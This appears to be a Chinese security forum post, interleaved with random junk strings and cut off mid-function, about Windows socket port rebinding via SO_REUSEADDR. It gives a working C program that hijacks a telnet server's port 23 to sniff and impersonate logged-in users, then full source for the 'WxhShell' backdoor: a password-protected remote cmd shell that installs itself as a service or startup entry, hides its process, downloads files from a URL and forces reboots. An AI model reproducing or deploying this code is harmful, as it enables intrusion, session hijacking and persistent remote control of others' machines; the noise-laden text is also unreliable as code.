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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f;@b
a[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V0SW 5
m =)"NE> saddr.sin_family = AF_INET; |TQedC 3&drof\{ saddr.sin_addr.s_addr = htonl(INADDR_ANY); -s?dzX >/*?4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zztt)/6* pq/FLYiv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Thht_3_C,f orcZyYU 这意味着什么?意味着可以进行如下的攻击: /-G qG)PX rR),~ @]sL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eR#gG^o8 ?3B t;<^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a<a&63 Lz#$_Am'H 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e')&ODQ H nN_94
ZqS< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 }`+^|1 ^C,/T2> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [0**&.obz S<2CG)K[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q
KcF1? ^a:vJ)WB7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e4>L@7 7Ap~7)z[ #include XNkQk0i;g& #include vV:MS O'r #include WwCK K #include LX(iuf+l DWORD WINAPI ClientThread(LPVOID lpParam); -Y
6.?z int main() 8JjU 9# { s)o,Fi WORD wVersionRequested; k#IS,NKE DWORD ret; R%]9y]HQ WSADATA wsaData; 7YQK@lS BOOL val; T}b(
M*E SOCKADDR_IN saddr; ?@g;[310` SOCKADDR_IN scaddr; PJSDY1T int err; QYf/tQg$ SOCKET s; Eezlx9b SOCKET sc; $Z(g=nS> int caddsize; V{AH\IV- HANDLE mt; r0hta)xa DWORD tid; Je4.9?Ch wVersionRequested = MAKEWORD( 2, 2 ); b.%B;qB err = WSAStartup( wVersionRequested, &wsaData ); @kCD. if ( err != 0 ) { .JD4gF2N printf("error!WSAStartup failed!\n"); mER8>
< return -1; VFO&)E/- } ZB_16&2Ow saddr.sin_family = AF_INET; **w*hd] sBuq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SG+i\yu$h0 q.,p6D saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \/x)BE, saddr.sin_port = htons(23); 6ljRV) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *k@0:a(> { 0]2B-o"kI printf("error!socket failed!\n"); HhY2`P8 return -1; $@:>7Y" } 28UL val = TRUE; D"(3VIglq //SO_REUSEADDR选项就是可以实现端口重绑定的 TW-zh~|F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J?n)FgxS { NbdMec printf("error!setsockopt failed!\n"); 1
">d|oC return -1; B;D:9K } . ;ea]_Z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nX.s h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dx?njR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r3BDq MLv.v&@S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VT.{[Kl { vElL.<.. ret=GetLastError(); zoJkDr=jn printf("error!bind failed!\n"); d6d(?" return -1; 4-}A'fTU8 } xJH9qc ME listen(s,2); -Y jv&5 while(1) 0@mX4.! { 8)q]^ caddsize = sizeof(scaddr); yZ(Nv $[5 //接受连接请求 +N(YR3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i6g[E4nk if(sc!=INVALID_SOCKET) 1A/c/iC { ncw?; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I$6
f.W if(mt==NULL) (zTI)EV { ]stLC; nI printf("Thread Creat Failed!\n"); g%q?2Nv break; Qdx`c^4m } TLL[F;uZ } d`],l\oC CloseHandle(mt); (.XDf3 } ]x(2}h^S closesocket(s); '*LN)E>d WSACleanup(); hZ\W ?r return 0; U0bEB } 'B<qG<> DWORD WINAPI ClientThread(LPVOID lpParam) m5;[,He { #+ lq7HJ1 SOCKET ss = (SOCKET)lpParam; Sc"4%L SOCKET sc; 6quWO2x unsigned char buf[4096]; D@b<}J>0' SOCKADDR_IN saddr; v`ZusHJ1d long num; uI-76 DWORD val; s3E~X DWORD ret; m)]fJ_ //如果是隐藏端口应用的话,可以在此处加一些判断 Mb2 L32 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ZEyGqCf3 saddr.sin_family = AF_INET; R#Nd|f< saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oQjB&0k4 saddr.sin_port = htons(23); 1PTu3o&3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~
GT\RAj[ { xdBZ^Q printf("error!socket failed!\n"); 5bznM[%xO return -1; d
@kLLDP } ?VN]0{JSp val = 100; (#l_YI
- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T#_n-b> { e}4^N1'd/ ret = GetLastError(); \NQ)Po@z return -1; u+gXBU } 2"Uk}Yz| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v0MOX>`s { GxDF7
z%& ret = GetLastError(); ?nSp?m; return -1;
6p6Tse] } @)'@LF1Z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F)iGD~ { MJ/%$ printf("error!socket connect failed!\n"); _NqT8C4C closesocket(sc); *_K-T# closesocket(ss); F#bo4'&>@ return -1; 68GGS`& } dUtIAh-j while(1) "oXAIfU#T { XQY&4tK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @]"9EW
0 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]j$p _s> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "PScM9) \ num = recv(ss,buf,4096,0); F*]. if(num>0) 4Hpu EV8Q send(sc,buf,num,0); {2clOUi else if(num==0) _,0!ZP- break; =
hX-jP num = recv(sc,buf,4096,0); od's1'cR if(num>0) x)wt.T?eL send(ss,buf,num,0); ~)8i5p;P/k else if(num==0) 2hC$"Dfp break; 3jeV4| } v4##(~Tu closesocket(ss); n_&)VF#n( closesocket(sc); %s : return 0 ; A-Pwi.$ } 2Yd~v| O*/-I
pM GJt9hDM$0 ========================================================== 3N*C] NE%yv,B 下边附上一个代码,,WXhSHELL C(*@-Npf[ j=QR*8* ========================================================== 2/4x]i
H* .'mC3E+$ #include "stdafx.h" F20-!b .-~%w #include <stdio.h> $#JVI: #include <string.h> *]{I\rX #include <windows.h> 78J.~v/ #include <winsock2.h> `"mK\M #include <winsvc.h> %c/"A8{ eb #include <urlmon.h> :O+b4R+ :XZom+>2n #pragma comment (lib, "Ws2_32.lib") {#M{~ #pragma comment (lib, "urlmon.lib") >37}JUG Jd2Y) #define MAX_USER 100 // 最大客户端连接数 'yRv~BA #define BUF_SOCK 200 // sock buffer mf_'|
WDs #define KEY_BUFF 255 // 输入 buffer |=}~>!! m:O2_%\l #define REBOOT 0 // 重启 -t'oW*kdL #define SHUTDOWN 1 // 关机 vk+%#w ZjW| qb
#define DEF_PORT 5000 // 监听端口 $hp?5KM (IHBib " #define REG_LEN 16 // 注册表键长度 ]%8;c #define SVC_LEN 80 // NT服务名长度 ;U3Vows d]~1.i // 从dll定义API $<e .]`R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %vYlu%c< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eq;frnw>q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zw
8b
-_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bK%tQeT xQ
3u // wxhshell配置信息 t\d;}@bl struct WSCFG { M]TVaN$v# int ws_port; // 监听端口 @5V Z char ws_passstr[REG_LEN]; // 口令 uOqDJM'RM int ws_autoins; // 安装标记, 1=yes 0=no !Ocg char ws_regname[REG_LEN]; // 注册表键名 tU/NwA" char ws_svcname[REG_LEN]; // 服务名 a(T4WDl^ char ws_svcdisp[SVC_LEN]; // 服务显示名 <G?85*Nv_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 6-}e-H char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7:E#c"S
q int ws_downexe; // 下载执行标记, 1=yes 0=no 6Q.whV%y char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" <U`Nb) & char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vUx$[/< T\CQ }; @Hdg-f>y] ,,wx197XeD // default Wxhshell configuration c;}n=7,>:L struct WSCFG wscfg={DEF_PORT, `|?$; ) "xuhuanlingzhe", @7 HBXP 1, !-nm7Q "Wxhshell", :Zo2@8@7 "Wxhshell", 0 3 $
W "WxhShell Service", @$}\S "Wrsky Windows CmdShell Service", r9*H-V$ "Please Input Your Password: ", l<_mag/j9o 1, `z`;eR2oX " http://www.wrsky.com/wxhshell.exe", k r^#B^ "Wxhshell.exe" n8aiGnd=v
}; 1+c(G?Ava *]?YvY // 消息定义模块 }mZ*f y0t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >(KUYX?p char *msg_ws_prompt="\n\r? for help\n\r#>"; 1RHH<c%2n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 2+cicBD char *msg_ws_ext="\n\rExit."; lS*.?4zX char *msg_ws_end="\n\rQuit."; GhA~Pj ZS char *msg_ws_boot="\n\rReboot..."; uxiX"0)g> char *msg_ws_poff="\n\rShutdown..."; o;I86dI6C char *msg_ws_down="\n\rSave to "; iGNKf|8{ xmd$Jol^ char *msg_ws_err="\n\rErr!"; {\Y,UANZ
char *msg_ws_ok="\n\rOK!"; oioN0EuDk Ps4A
B#3 char ExeFile[MAX_PATH]; ` &7?+s int nUser = 0; ]r5Xp#q2 HANDLE handles[MAX_USER]; 1K',Vw_ int OsIsNt; :u93yH6~8 0LuY"(LR SERVICE_STATUS serviceStatus; &`W,'qD$ SERVICE_STATUS_HANDLE hServiceStatusHandle; V t;&2v >m{-&1Tx // 函数声明 vA~hkkj{ int Install(void); 7O :Gi*MA int Uninstall(void); A1T;9`E int DownloadFile(char *sURL, SOCKET wsh); sJ()ItU5i int Boot(int flag); .sMi"gg void HideProc(void); ~h|L;E" int GetOsVer(void); 4HmRsOl int Wxhshell(SOCKET wsl); 1&E&8In]$r void TalkWithClient(void *cs); W7>_nK+g? int CmdShell(SOCKET sock); %'5 wwl int StartFromService(void); 8Wp1L0$B int StartWxhshell(LPSTR lpCmdLine); h0}-1kVT^ KJZY.7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _fw'c*j VOID WINAPI NTServiceHandler( DWORD fdwControl ); L6qA=b~iz T8
/'`s // 数据结构和表定义 WG4|Jf Y SERVICE_TABLE_ENTRY DispatchTable[] = X~!?t} { G&Sg.<hn {wscfg.ws_svcname, NTServiceMain}, |8ZAE%/d {NULL, NULL} =5F49 }; lph_cY3p P~>nlm82] // 自我安装 EJY:C9W int Install(void) l]cQ7g5 { "<b84?V5 char svExeFile[MAX_PATH]; Vdyx74xX HKEY key; H-lRgJdc strcpy(svExeFile,ExeFile); \/zS@fz B)*%d7=x // 如果是win9x系统,修改注册表设为自启动 NYRNop( N# if(!OsIsNt) { UkQocZdZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1-<Xi-=^{t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qILr+zH RegCloseKey(key); 5J3kQ;5Q? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '-{jn+, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oaE3Aa RegCloseKey(key); ]P^ +~ return 0; 6Wp:W1E{` } jL>r*=K)% } (>23[;.0 } _bsfM;u.% else { H8U*oLlc x$sQ .aT // 如果是NT以上系统,安装为系统服务 6 , ~aV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gUQCKNw if (schSCManager!=0) .quc i(D { @,.H)\a4 SC_HANDLE schService = CreateService dno*Usx5d0 ( ,B><la87 schSCManager, 6 h):o wscfg.ws_svcname, iqYc&}k, wscfg.ws_svcdisp, Dr609(zg^ SERVICE_ALL_ACCESS, f}4h}Cq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hG]20n2 SERVICE_AUTO_START, !s:|Ddv SERVICE_ERROR_NORMAL, :=@[FXD4 svExeFile, aleIy}" NULL, 2{\Y<%. NULL, }_x oT9HUr NULL, 5E8PbV-l NULL, zwS'AN'A NULL g!UM8I-$
); J4; ".Y= if (schService!=0) dl4.jLY { !j@ 8:j0WY CloseServiceHandle(schService); q\<vCKI-^ CloseServiceHandle(schSCManager); oY: "nE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DJ.Ct4 strcat(svExeFile,wscfg.ws_svcname); g(Nf.hko if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^4:= b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TvR2lP RegCloseKey(key); WMg^W( return 0; Sl#XJ0 g } dewu@ } # L R[6l CloseServiceHandle(schSCManager); oR } } 2}AV_]] } fA^ O M?o`tWLhF return 1; %/y/,yd } AJ /_l; }PJ:9<G
y // 自我卸载 ;I0/zeM% int Uninstall(void) ?{'Q}% { CpXv?uU HKEY key; S3m+(N" & rX[R`,`>Z[ if(!OsIsNt) { Ho/5e*X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,MJZ*"V/3 RegDeleteValue(key,wscfg.ws_regname); bH&H\ Mx_k RegCloseKey(key); xXtDGP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JC-L80- RegDeleteValue(key,wscfg.ws_regname); lbY>R@5 RegCloseKey(key); &wfM:a/c return 0; |V&k1{V } .:0nK
bW } Z3d&I]Tf } f]4gDmn^ else { h)rHf3: /T@lHxX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d=pq+ if (schSCManager!=0) qJ!xhf1 { T&%>/7I> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -T>`PJpJuL if (schService!=0) K67x.P Z { Onl:eG;@ if(DeleteService(schService)!=0) { mP-+];gg CloseServiceHandle(schService); Xo,BuK&G CloseServiceHandle(schSCManager); 8c#*T%Vf return 0;
2r[,w] } V}*b^<2o5 CloseServiceHandle(schService); C>H UG } 4%pvw;r CloseServiceHandle(schSCManager); *\>7@r[%5 } *KMCU
m } P*}Oi7Z 1/z1~:Il
return 1; +MEWAW[}^ } &lD4-_2J `CV a`% // 从指定url下载文件 ,[x'S>N int DownloadFile(char *sURL, SOCKET wsh) {974m` 5 { @"6BvGU2s HRESULT hr; z')'8155 char seps[]= "/"; ~7*HZ:. char *token; Cpr}*A
char *file; p|Ln;aYc char myURL[MAX_PATH]; &EMm<(.]a char myFILE[MAX_PATH]; sU>*S$X8 </eh^<_~ strcpy(myURL,sURL); Z?~7#F~Z` token=strtok(myURL,seps); C][`Dk\D{ while(token!=NULL) CyE.q^Wm { _L"rygit file=token; ?#W>^Za= token=strtok(NULL,seps); kn!J`"b } (GZm+? g\ke,r6 GetCurrentDirectory(MAX_PATH,myFILE); 7>.^GD strcat(myFILE, "\\"); +}^ strcat(myFILE, file); '=oV send(wsh,myFILE,strlen(myFILE),0); QF>H>=Za= send(wsh,"...",3,0); P<bA~%<7"[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l|DOsI'r if(hr==S_OK) cu
Nwv(P return 0; GovGh? X#x else *e^ZH return 1; LNj|t)O v bBZvL } JL<}9K CxO)d7c // 系统电源模块 X%;,r
2g int Boot(int flag) .AKx8=f { 3M^ / HANDLE hToken; <4Ak$E%" TOKEN_PRIVILEGES tkp; !a0HF p$9 Dj[D|%9a if(OsIsNt) { M+Dkn3bx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nkpQM$FW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $XJe) tkp.PrivilegeCount = 1; 4kx#=MLt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1j}o.0\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (A1 !)c if(flag==REBOOT) { }ts?ZR^V, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7UMsKE- return 0; iJ~pX\FKO } GU=h2LSi] else { 1aSuRa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Su>^T(?- return 0; $BG9<:p } pt<84CP } g|W~0A@D else { r8@:Ko= a if(flag==REBOOT) { hj-M
#a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E;%{hAD{ return 0; 0O[q6!&] } #u#s'W else { ,"DkMK4% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZV&=B%J bs return 0; %!WQ;( } wLW!_D,/R } J9{B p_[k^@$ return 1; a-hF/~84S: } ym-212wl Hd4&"oeY // win9x进程隐藏模块 ~fr1O`8 void HideProc(void) jLZ+HYyG9 { U,)+wZJ Dtn|$g, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q7i^VN if ( hKernel != NULL ) !DLIIKO78 { -OoXb( I4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $+$+;1[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sjztT<{Q^- FreeLibrary(hKernel); t@b';Cuv } pS51fF9 tk ~7>S return;
ZQ@^(64 } TMGZHOAt jo+T!CUM' // 获取操作系统版本 T"3WB o int GetOsVer(void) ;5oY)1 { ,~c:P>v= OSVERSIONINFO winfo; D_'Zucq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B>gC75 GetVersionEx(&winfo); ^lbOv}C* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F)!B%4 return 1; Yr"G)i~"Y else {n{
j*+ return 0; Lk`0z } M7UVL&_z% *pj&^W? // 客户端句柄模块 @eR>?.:& int Wxhshell(SOCKET wsl) GN(PH/fO9 { )R,*>-OPJL SOCKET wsh; s}UPe)Vu struct sockaddr_in client; tXwnK[~x DWORD myID; 4_)@Nq jwGd*8
/ while(nUser<MAX_USER) Ws'3*HAce { i $#bg^ int nSize=sizeof(client); aZ- )w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V&[|%jm& if(wsh==INVALID_SOCKET) return 1; 4WU
6CN Zn&X
Uvdl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cy%^P^M if(handles[nUser]==0) SkVW8n*s closesocket(wsh); ?;!l-Dy else <{:$]3 nUser++; & Z*&& } , En
D3
| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {- tCLkE
3 |G!-FmIK return 0; nTp? } `G6Nk@9. bv-s}UP0 // 关闭 socket ps^Z)x`GV void CloseIt(SOCKET wsh) ,,lrF. { PudwcP{ closesocket(wsh); ,\xeNUZd nUser--; 6E85mfFS ExitThread(0); ' !ZFK} } T ^%$ px".pYr0 // 客户端请求句柄 S"V|BU void TalkWithClient(void *cs) J_<ENs- { Tgc)'8A;BN
cT-XF SOCKET wsh=(SOCKET)cs; c2-NXSjsW char pwd[SVC_LEN]; t@.M;b8 char cmd[KEY_BUFF]; NDm3kMa char chr[1]; j)]mN$Sa: int i,j; r^q@rL> S3A OT while (nUser < MAX_USER) { Ks7DoXCvE {H=DeQ if(wscfg.ws_passstr) { l0l2fwz( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ws{2+G~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aU4v-9@U8 //ZeroMemory(pwd,KEY_BUFF); 2y`rS
_2 i=0; lt`#or"o while(i<SVC_LEN) { R 6ca; *&^`Uk,[ // 设置超时 $x)C_WZj? fd_set FdRead; v=RQ"iv8 struct timeval TimeOut; ^ dM,K
p FD_ZERO(&FdRead); mtOCk 5E FD_SET(wsh,&FdRead); E0o= TimeOut.tv_sec=8; z%<Z#5_N TimeOut.tv_usec=0; &J,MJ{w6" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eZJrV}V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7?Q<kB=f L*"Q5NzB] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R bM`"wrZ pwd =chr[0]; vdyLwBz: if(chr[0]==0xd || chr[0]==0xa) { OjcxD5"v9 pwd=0; =I-SQI8 break;
:RBp } NffZttN i++; _
)b:F=4j } 4en[!* ]hJ#%1 // 如果是非法用户,关闭 socket NnRR"' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )`, Bt } 0hp*(, L j|N;&s` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tg_v\n send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y 4j0nF mQ*:?\@ while(1) { }`FC'!( A(S = ZeroMemory(cmd,KEY_BUFF); 7Y"CeU-S / q*n*j // 自动支持客户端 telnet标准 UC"<5z
lcu j=0; _l<e>zj while(j<KEY_BUFF) { 8!(4;fN$j. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B{hP#bYK cmd[j]=chr[0]; Ei2hI if(chr[0]==0xa || chr[0]==0xd) { RP?UKOc cmd[j]=0; S:"R/EE( break; p(-f $Q( } IxNY%&* ` j++; eo.y,U h } 38ChS.( %9cu(yc*} // 下载文件 _ +q.R if(strstr(cmd,"http://")) { kC"lO' send(wsh,msg_ws_down,strlen(msg_ws_down),0); z%Pbs[*C if(DownloadFile(cmd,wsh)) (,z0V+! send(wsh,msg_ws_err,strlen(msg_ws_err),0); =BzyI else Y]!8Ymuww@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -!zyit5B } e@}zp else { C]59@z;+bN E2+x?Sc+ switch(cmd[0]) { +nU"P J{<,V\t) // 帮助 ;<i `6e case '?': { c'ExZ)RJ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J\VG/)E break; ^LO=&Cq } nK=-SQ // 安装 f_y+B]?'M case 'i': { G9"2h
\ if(Install()) x;w&JS1V send(wsh,msg_ws_err,strlen(msg_ws_err),0); MY1s else XaOq &7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ig(dGKD\=9 break; /G[; kR" } j5QS/3 // 卸载 ZU\TA| case 'r': { mVUDPMyZ if(Uninstall()) V bQ9o send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_%6,?S6 else MDI[TNYG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rWzw7T~ break; t F^|,9_< } eJD!dGa // 显示 wxhshell 所在路径 /|v:$iH,C case 'p': { Q%:#xG5AmE char svExeFile[MAX_PATH]; Sg;c |u strcpy(svExeFile,"\n\r"); S,A\%:Va strcat(svExeFile,ExeFile); s"G;rcS}# send(wsh,svExeFile,strlen(svExeFile),0); l;_zXN break; ^wDZg` } $w!; ~s // 重启 AT.WXP0$A case 'b': { N&ZIsaK,j send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iF:`rIC if(Boot(REBOOT)) BCN<l +u send(wsh,msg_ws_err,strlen(msg_ws_err),0); QJ1_LJ4)a else { u
xi f-5 closesocket(wsh); ,QW>M$g{ ExitThread(0); Eo)w f=rE9 } 2' fg break; rWk4)+Tk } @w:6m&KL9 // 关机 NgH"jg- case 'd': { *p)1c_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K& /
rzs- if(Boot(SHUTDOWN)) U)mg]o-VE send(wsh,msg_ws_err,strlen(msg_ws_err),0); =<~/U? else { `}uOlC]I closesocket(wsh); 3e~X`K1Q< ExitThread(0); 96M?tTa } e]N?{s
break; G;r-f63N } 'Y`.0T[& // 获取shell QI\ &D)
case 's': { Z[+H$ =$% CmdShell(wsh); eyPh^c]?`8 closesocket(wsh); gHCk;dmq81 ExitThread(0); ODE9@]a break; eLC}h % } NY]`1yy // 退出
=FZt case 'x': { eq>E<X#< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r[2N;U CloseIt(wsh); GWP;;x% break; X2ShxD| } %) A-zzj // 离开 d3
h^L case 'q': { i^hgs`hvU send(wsh,msg_ws_end,strlen(msg_ws_end),0); eO<:X|9T closesocket(wsh); p_z_d6? WSACleanup(); ZUE?19GA exit(1); ^'"sFEV7RN break; WR;"^<i9 } LeY!A#j } &gIDcZ } f#9DU}2m e*[M*u // 提示信息 _Se~bkw?v if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -t28"jyj } 'W0?XaEk- } RJMrSz$ ]F&<{\:_} return; ~4p@m>> } _VIVZ2mU= ep]tio_ // shell模块句柄 )2c[]d/a4 int CmdShell(SOCKET sock) WgBV,{C { ==d@0` STARTUPINFO si; z;x1p)(xt ZeroMemory(&si,sizeof(si)); "],amJ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gwFHp.mE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gx75EQ2 PROCESS_INFORMATION ProcessInfo; jtWI@04o09 char cmdline[]="cmd"; w`~j(G4N CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x @EEMO1_" return 0; G[V?#7. } Epm'u[wV ;jb+x5t // 自身启动模式 'IrwlS int StartFromService(void) \]AsL& { T""y)% typedef struct J(&a,w>p { kzs}U'U DWORD ExitStatus; m<ZwbD DWORD PebBaseAddress; -:txmMT DWORD AffinityMask; nU Oy-c DWORD BasePriority; eit>4xMu ULONG UniqueProcessId; MYqxkhcLH1 ULONG InheritedFromUniqueProcessId; *.ffyBI*~ } PROCESS_BASIC_INFORMATION; #]`ejr:2O .F=15A PROCNTQSIP NtQueryInformationProcess; >j]*=&,7 5S:&^ A< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .MO"8}]8Z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @Bfwb?& }<Y3jQnl HANDLE hProcess; kTQ`$V(>& PROCESS_BASIC_INFORMATION pbi; 'ad|@Bh h%kB>E~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G7lC'~} if(NULL == hInst ) return 0; N"~P` H![x 7QiJ1P.z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); % ~%>3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H9)$ #r6i 